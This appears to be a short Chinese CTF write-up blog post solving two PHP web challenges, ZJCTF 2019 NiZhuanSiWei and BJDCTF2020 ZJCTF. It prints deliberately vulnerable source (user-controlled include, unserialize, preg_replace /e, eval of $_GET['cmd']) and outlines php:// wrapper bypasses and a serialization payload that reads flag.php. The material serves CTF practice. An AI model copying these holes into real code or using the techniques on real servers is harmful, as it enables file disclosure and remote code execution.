[ZJCTF 2019]NiZhuanSiWei && [BJDCTF2020]ZJCTF,不过如此

rctf太难顶了 一点都不会 出来水个buu

[ZJCTF 2019]NiZhuanSiWei

  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
     
    echo "

".file_get_contents($text,'r')."


"
; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>

php伪协议绕一下

然后file直接包含没显示 再一次伪协议

[ZJCTF 2019]NiZhuanSiWei && [BJDCTF2020]ZJCTF,不过如此_第1张图片

  

class Flag{
       //flag.php  
    public $file;  
    public function __tostring(){
       
        if(isset($this->file)){
       
            echo file_get_contents($this->file); 
            echo "
"
; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

随便跑一下

$a = new Flag;
$a->file="flag.php";
echo serialize($a);

传一下出flag
[ZJCTF 2019]NiZhuanSiWei && [BJDCTF2020]ZJCTF,不过如此_第2张图片

[BJDCTF2020]ZJCTF,不过如此

buu上复现是一模一样的



error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
     
    echo "

".file_get_contents($text,'r')."


"
; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>

一样的套路拿到源码[ZJCTF 2019]NiZhuanSiWei && [BJDCTF2020]ZJCTF,不过如此_第3张图片


$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
     
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
     
    echo complex($re, $str). "\n";
}

function getFlag(){
     
	@eval($_GET['cmd']);
}

你可能感兴趣的:(CTF入坟)